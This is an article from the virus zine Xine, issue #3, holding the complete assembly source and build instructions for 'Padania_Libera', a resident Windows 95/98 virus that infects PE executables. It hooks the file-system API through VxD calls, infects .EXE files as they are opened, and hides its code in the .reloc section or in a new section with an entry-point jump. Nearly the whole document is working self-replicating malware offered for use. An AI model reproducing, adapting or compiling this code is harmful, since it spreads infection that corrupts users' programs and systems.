/-----------------------------\ | Xine - issue #3 - Phile 202 | \-----------------------------/ ; ; Virus Name : Padania_Libera ; Virus Author : b0z0/iKX ; Origin : Padania, 1998 ; Platform : Win 95/98 ; Target : PE files ; Compiling : TASM 5.0 and TLINK 5.0 should be used ; tasm32 /ml /m3 padlib,,; ; tlink32 /Tpe /aa /c /v padlib,padlib,,import32.lib, ; And then set the PE header so the data section will be loaded ; at C0000000. ; Goodies : This is a TSR PE infector that goes resident by coping itself ; in the unused 1000h at 0c0000000h and then hooks the VxD ; functions. So there isn't any need to search the adresses ; of the APIs. Thanx to Murkry/IkX for the help for this part ; of the virus! ; As for file infection the virus can actually infect the file ; in three simillar ways, depending on the file structure. If ; the victim doesn't have a .reloc section, then the virus will ; just add a new object and put the EIP in PE to point on it. ; If the victim has a .reloc section the virus will overwrite ; this section with its code and change the PE header so it ; doesn't think anymore about the fixup section. After this ; the virus will have two ways of gaining control to that ; position. One is the simple to change the EIP in the PE ; header, while the second is to put a JMP from the body ; of the program to the virus. To find a suitable position ; where to put the JMP the virus will use the original .reloc ; section that contains useful data to find suitable ; instructions. The virus will put the JMP near the original ; EIP, so it is very probable it will be executed (thus ; putting the JMP in a random position should not activate the ; virus too often). ; By overwriting the .reloc it is very probable that the ; filesize of the infected file won't change (very often the ; dimension of the .reloc is anyway > of the virus length) ; thus making this also a sorta stealth add-on. ; Please check the article about Win95/98/32 ideas for more ; explanations and hints about this method. ; Special thanx : to Murkry/IkX for his help with Win95/98/32 stuff! ; .386 .model flat InstallFileSystemApiHook = 00400067h UniToBCSPath = 00400041h IFSMgr_Ring0_FileIO = 00400032h peheader = (buffer - start + starthigh) extrn ExitProcess:PROC starthigh = 0c0000000h .data ;the data area start: mov eax,0c0001000h ; starting scan location mov ecx,1000h ; how much bytes to check vmm_start_loop: mov ebx,[eax] cmp ebx,0c0002000h ; should be > of this jb bad_entry cmp ebx,0c0020000h ; and not > than this limit ja bad_entry ; to prevent GPFs cmp dword ptr [ebx+0ch],' MMV' ; got it? je got_chain bad_entry: inc eax loop vmm_start_loop jmp RetToHost got_chain: mov ebx,[ebx+30h] mov eax,ebx add eax,003ch push eax pop dword ptr ds:[(origifs + 2) - start + starthigh] push dword ptr ds:[eax] pop dword ptr ds:[vxdoff - start + starthigh] push (NewHandler - start + starthigh) pop dword ptr [ebx+3ch] mov word ptr ds:[int20_place - start + starthigh],020cdh RetToHost: inc byte ptr ds:[chktsr - start + starthigh] ret NewHandler: push cs push dword ptr ds:[vxdoff - start + starthigh] push dword ptr ds:[vxdoff - start + starthigh] origifs: pop dword ptr ds:[12345678h] ; restore orig ifs pushad mov eax,(NewFShook - start + starthigh) push eax push InstallFileSystemApiHook call make_vxdcall add esp,04h mov dword ptr ds:[oldfsd - start + starthigh],eax popad retf virus_name db 0,'Padania_Libera',0 make_vxdcall: pop dword ptr ds:[back - start + starthigh] pop dword ptr ds:[vxdcall - start + starthigh] int20_place: int 20h vxdcall dd 00h mov word ptr ds:[int20_place - start + starthigh],020cdh db 68h ; push immediate dd back dd 00h ret author_orig db 0,'by -b0z0/iKX-',0 vxdcall_io: push IFSMgr_Ring0_FileIO call make_vxdcall ret NewFShook: push ebp mov ebp,esp sub esp,00000020h push ebx push esi push edi cmp byte ptr ds:[chktsr - start + starthigh],02 je letOrginal cmp dword ptr [ebp+0ch],00000024h ; open file jne letOrginal inc byte ptr ds:[chktsr - start + starthigh] pushad mov edi,(filename - start + starthigh) mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ cmp al,0ffh je noneeddriveletter add al,40h ; create the c: mov ah,':' stosw noneeddriveletter: db 68h ; push imm dd 00 dd 00h db 68h ; push imm dd ff dd 0ffh mov ebx,[ebp+1ch] mov eax,[ebx+0ch] ; get input filename add eax,04h push eax push edi push UniToBCSPath call make_vxdcall add esp,10h add edi,eax xor al,al stosb cmp dword ptr [edi - 5],"EXE." jne exitvvxd_noatt mov esi,(filename - start + starthigh) mov eax,4300h ; get attribs push eax call vxdcall_io pop eax jc exitvvxd_noatt push esi push ecx ; attribs on the stack inc eax xor ecx,ecx ; delete attribs call vxdcall_io jc exitvvxd mov eax,0d500h ; open file xor ecx,ecx push ecx pop dword ptr ds:[vxdoff - start + starthigh] mov ebx,2 mov edx,1 call vxdcall_io jb exitvvxd mov ebx,eax ; file handle mov ecx,04h mov edx, 03ch ; read pointer to PE header mov eax,0d600h mov esi,(peptr - start + starthigh) push eax call vxdcall_io pop eax mov ecx,400h ; read 1kb of PE mov edx,dword ptr ds:[peptr - start + starthigh] mov esi,(buffer - start + starthigh) call vxdcall_io cmp dword ptr [esi],04550h ; is PE jne closefile cmp dword ptr ds:[esi + 44h],'0z0b' ; already infected? je closefile mov eax,0d800h ; get file size in eax call vxdcall_io mov dword ptr ds:[filesize - start + starthigh],eax mov edi,peheader + 0f8h ; on object table push edi xor eax,eax mov ax,word ptr ds:[peheader + 6] ; how many sections cmp ax,11h ; humm, if so it should not jb search_reloc ; be enough our 1kb buffer pop eax ; correct stack and exit jmp closefile search_reloc: cmp dword ptr [edi],'ler.' ; search the .reloc jne no_rel cmp word ptr [edi+4],'co' je got_reloc no_rel: add edi,28h dec eax or eax,eax jnz search_reloc no_reloc_present: ; if no .reloc or .reloc not last one or if we shouldn't put out jump near the ; entry point then we must add an object inc word ptr ds:[peheader + 6] ; obj number xor eax,eax mov dword ptr ds:[relocs - start + starthigh + 4],eax jmp put_virsize got_reloc: ; if got .reloc and is the last one then just overwrite this one. cmp ax,1 ; must be last one! jne no_rel mov edx,dword ptr [edi + 14h] ; physical offset where we ; will write virus code find_rightone: mov eax,0d600h ; read 208h bytes out of the mov esi,(relocs - start + starthigh) ; .reloc section mov cx,208h call vxdcall_io mov eax,dword ptr ds:[peheader + 28h] ; orig EIP and eax,0fffff000h cmp eax,dword ptr ds:[relocs - start + starthigh] jbe have_the_one ; got one! or if < then just ; exit, since no near block ; present add edx,dword ptr ds:[relocs - start + starthigh + 4] jmp find_rightone have_the_one: mov edx,dword ptr [edi + 14h] mov dword ptr ds:[filesize - start + starthigh],edx xor eax,eax mov dword ptr ds:[peheader + 0a0h],eax ; delete fixups infos mov dword ptr ds:[peheader + 0a4h],eax ; in header cmp dword ptr [edi + 10h], virus_size ; compare phys. size ja put_reloc_size put_virsize: push virus_size jmp set_ph_size put_reloc_size: push dword ptr ds:[edi + 10h] ; so the physical size ; will fit the real ; size on disk set_ph_size: pop dword ptr ds:[(phy_size - start + starthigh)] no_change_reloc: pop eax ; begin of objects in mem sub eax,edi ; so -eax = lenght of all objs push eax add eax,dword ptr ds:[peheader + 0f8h + 14h] ; where the first ; object starts cmp eax,obj_size ; enough space in object table pop eax jb closefile ; for object + loader? neg eax add eax,(obj_size + 0f8h) ; + PE hdr + our code add eax,dword ptr ds:[peptr - start + starthigh] cmp eax,dword ptr ds:[peheader + 54h] ; be sure that enough header jb enough_header ; is loaded in memory add dword ptr ds:[peheader + 54h],200h ; so add just enough :) enough_header: mov edx,starthigh sub edx,dword ptr ds:[peheader + 34h] mov dword ptr ds:[(obj_rva - start + starthigh)],edx push edi ; location in PeHeader of new section header mov esi,(object_begin - start + starthigh) mov ecx,obj_size rep movsb pop edi mov eax,dword ptr ds:[filesize - start + starthigh] push eax ; save the size xor edx,edx mov ecx,dword ptr ds:[peheader + 3ch] div ecx sub ecx,edx pop edx ; Extend the file to the file alignment if needed (of course not if ; overwriting the .reloc) mov eax,0d601h ; filewrite mov esi,starthigh push eax cmp ecx,dword ptr ds:[peheader + 3ch] je aligned add dword ptr ds:[filesize - start + starthigh],ecx call vxdcall_io ; put alignment aligned: pop eax mov edx, dword ptr ds:[filesize - start + starthigh] mov dword ptr ds:[edi + 14h],edx mov ecx,virus_size ; write virus body push eax call vxdcall_io add edx,eax ; write tsr check byte zeroed pop eax mov ecx,5 mov esi,(needed_zero - start + starthigh) call vxdcall_io mov dword ptr ds:[peheader + 44h],'0z0b' mov edx,dword ptr ds:[peptr - start + starthigh] push edx mov eax,edi sub eax,(peheader - 28h) ; - offset in mem + our object size add eax,edx ; EAX = new EIP push eax ; new EIP pop dword ptr ds:[(jmp_addr - start + starthigh)] cmp dword ptr ds:[relocs - start + starthigh + 4],00h je change_in_pe mov ecx,dword ptr ds:[peheader + 28h] ; orig EIP push ecx and ecx,0fffff000h ; is the same 4k block? cmp ecx,dword ptr ds:[relocs - start + starthigh] pop ecx jne change_in_pe and ecx,0fffh ; just last 12 bits push (relocs - start + starthigh + 8) pop dword ptr ds:[rel_pos - start + starthigh] another_reloc: push dword ptr ds:[(rel_pos - start + starthigh)] pop esi xor eax,eax lodsw or ax,ax ; end of relocs?? jz change_in_pe push esi pop dword ptr ds:[(rel_pos - start + starthigh)] push ax shr ax,0ch cmp ax,03 ; 32bit relocation? pop ax jne another_reloc shl ax,4 ; away reloc type shr ax,4 cmp eax,ecx ; find the first one after the orig EIP jbe another_reloc ; or just the next one if previous was bad push eax in al,40h shr al,1 ; sorta rnd to select if use this one or no.. no_good: ; so about 50% probability to use this.. pop eax jc another_reloc ; so EAX has offset to the reloc we want to change add eax,dword ptr ds:[relocs - start + starthigh] ; RVA in mem mov ecx,eax add eax,4 ; on next instruction push eax sub eax,dword ptr ds:[jmp_addr - start + starthigh] sub eax,(mid_jmp - entry_point) mov dword ptr ds:[edi + return_addr - objname],eax sub ecx,dword ptr ds:[peheader + 0f8h + 0ch] ; RVA add ecx,dword ptr ds:[peheader + 0f8h + 14h] ; physical offset dec ecx ; two bytes before the relocated addr dec ecx mov edx,ecx mov ecx,06h mov eax,0d600h ; read the orig instruction mov esi,edi add esi,(orig_code - objname) call vxdcall_io pop eax xor ecx,ecx cmp byte ptr [esi],0ffh ; probable 2 byte one? je check_our_two cmp byte ptr [esi+1],068h ; push xxxx jne another_reloc mov byte ptr [esi],90h ; pad with nop the orig instruction inc edx ; so must write one byte later jmp ok_instru check_our_two: inc ecx ; so one more byte to write cmp byte ptr [esi+1],015h ; call [xxxx] je ok_twob cmp byte ptr [esi+1],035h ; push [xxxx] jne another_reloc ok_twob: dec eax ok_instru: sub dword ptr ds:[(jmp_addr - start + starthigh)],eax mov esi,(mid_jmp - start + starthigh) add ecx,05h mov eax,0d601h call vxdcall_io mov byte ptr ds:[edi + end_jump + 1 - objname],07h jmp rewrite_header change_in_pe: mov byte ptr ds:[edi + end_jump + 1 - objname],00h mov eax,dword ptr ds:[(jmp_addr - start + starthigh)] xchg eax,dword ptr ds:[peheader + 28h] ; set new eip add eax,dword ptr ds:[peheader + 34h] mov dword ptr ds:[edi + oldeiprva - objname],eax ; save old eip rewrite_header: xor eax,eax mov edx,eax mov ecx,028h mov ax,word ptr ds:[peheader + 06h] ; objects mul ecx add eax,0f8h + obj_size ; + PE + virus loader mov ecx,eax ; write just the needed mov esi,(buffer - start + starthigh) ; rewrite header mov eax,0d601h ; write to file pop edx call vxdcall_io closefile: mov eax,0d700h call vxdcall_io exitvvxd: pop ecx ; attribs pop esi ; pointer to filename mov eax,4301h call vxdcall_io exitvvxd_noatt: popad dec byte ptr ds:[chktsr - start + starthigh] letOrginal: mov eax,[ebp+1ch] push eax mov eax,[ebp+18h] push eax mov eax,[ebp+14h] push eax mov eax,[ebp+10h] push eax mov eax,[ebp+0ch] push eax mov eax,[ebp+08h] push eax db 0b8h ; mov eax, oldfsd dd 0 call [eax] add esp,00000018h pop edi pop esi pop ebx leave ret ; This is the new object and the virus loader code that will be placed just ; after the objects. the loader is put in this part of memory, because the ; c0000000 can't be written once it has already been, so it is very risky ; putting the loader there object_begin: objname db "Padania " virtualsize dd virus_size obj_rva dd 00h phy_size dd 00h phy_offs dd 00h needed_zero dd 00h,00h,00h Character dd 0c0000040h entry_point: pushf cmp byte ptr ds:[chktsr - start + starthigh],0 ; already tsr? jne getout cmp dword ptr ds:[orig_code - start + starthigh],"'NDP" jne getout ; be sure it is our own code up there pushad call delta_offset delta_offset: pop eax add eax,(here - delta_offset) push eax push starthigh ; jump up to virus code ret here: popad getout: popf end_jump: jmp from_pe ; will jump depending on the from_pe: ; type of infection done db 0b8h ; mov eax oldeiprva dd offset return jmp eax ; here is loader execd from PE from_executable: orig_code db "PDN'98" ; 6 bytes used for orig code ; when overwriting some code with the jump to the virus ; will be changed on infection. this 6 bytes also ; carries virus origin ;) db 0e9h ; jump back when placing loader return_addr dd 00h ; in the middle of the code end_loader: mid_jmp db 0e9h ; temp code for the mid jmp gen endvirus: ;ÄÄ end of virus on disk ÄÄ jmp_addr dd 00h chktsr db ? filename db 100 dup (00) peptr dd 0 filesize dd 0 buffer db 400h dup (00) relocs db 208h dup (00) rel_pos dd 0 vxdoff dd 0 virus_size = (endvirus - start) obj_size = (end_loader - object_begin) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .code HOST: push (entry_point - start + starthigh) ; 1st gen code ret return: push LARGE -1 call ExitProcess end HOST